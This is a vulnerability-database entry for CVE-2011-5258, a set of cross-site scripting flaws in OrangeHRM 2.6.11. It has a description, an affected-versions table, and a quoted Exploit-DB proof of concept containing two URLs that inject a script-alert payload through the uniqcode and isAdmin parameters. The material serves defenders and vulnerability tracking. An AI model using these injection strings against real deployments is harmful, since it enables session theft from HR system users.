CVE-2011-5258

medium
Published 2013-02-12 ยท Modified 2026-04-29
CVSS v3
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CVSS v4 NEW
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not yet in upstream
VIR risk
5.3

Description

Multiple cross-site scripting (XSS) vulnerabilities in OrangeHRM before 2.6.11.2 allow remote attackers to inject arbitrary web script or HTML via the (1) uniqcode or (2) isAdmin parameter to index.php; or the (3) PATH_INFO to lib/controllers/centralcontroller.php.

Predictions

Exploit likelihood
20%
Patch ETA
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Heuristic predictions, AS-IS, for prioritization only.

Mitigations

No mitigations published for this CVE yet.

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Exploits

Public proof-of-concept code below. AS-IS, for defenders and authorised testing only.

Exploit-DB

EDB-36379 webapps php verified text ยท 1 KB
High-Tech Bridge SA ยท 2011-11-30

OrangeHRM 2.6.11 - 'index.php' Multiple Cross-Site Scripting Vulnerabilities

text exploit Source: Exploit-DB
source: https://www.securityfocus.com/bid/50857/info

OrangeHRM is prone to an SQL-injection and multiple cross-site scripting vulnerabilities.

Exploiting these vulnerabilities could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

OrangeHRM 2.6.11 is vulnerable; prior versions may also be affected. 

http://www.example.com/index.php?menu_no_top=eim&uniqcode=%22%3E%3C/iframe%3E%3Cscript%3Ealert%28123%29;% 3C/script%3E

http://www.example.com/index.php?menu_no_top=eim&uniqcode=USR&isAdmin=%22%3E%3C/iframe%3E%3Cscript%3E alert%28123%29;%3C/script%3E
EDB-36380 webapps php verified
High-Tech Bridge SA ยท 2011-11-30

OrangeHRM 2.6.11 - 'lib/controllers/CentralController.php' URI Cross-Site Scripting

Source code queued for fetch โ€” refresh in a moment.

Application impact

VendorProductVersionsFixed
orangehrmorangehrm{"endIncluding":"2.6.11"}
orangehrmorangehrm2.6.0
orangehrmorangehrm2.6.0.1
orangehrmorangehrm2.6.1
orangehrmorangehrm2.6.2
orangehrmorangehrm2.6.3
orangehrmorangehrm2.6.4
orangehrmorangehrm2.6.5
orangehrmorangehrm2.6.6
orangehrmorangehrm2.6.7
orangehrmorangehrm2.6.8
orangehrmorangehrm2.6.8.1
orangehrmorangehrm2.6.9
orangehrmorangehrm2.6.10

References

CWEs

CWE-79

Community-verified mitigations for this CVE will appear above when contributors publish them.

Verify integrity in audit chain (admin only). AS-IS.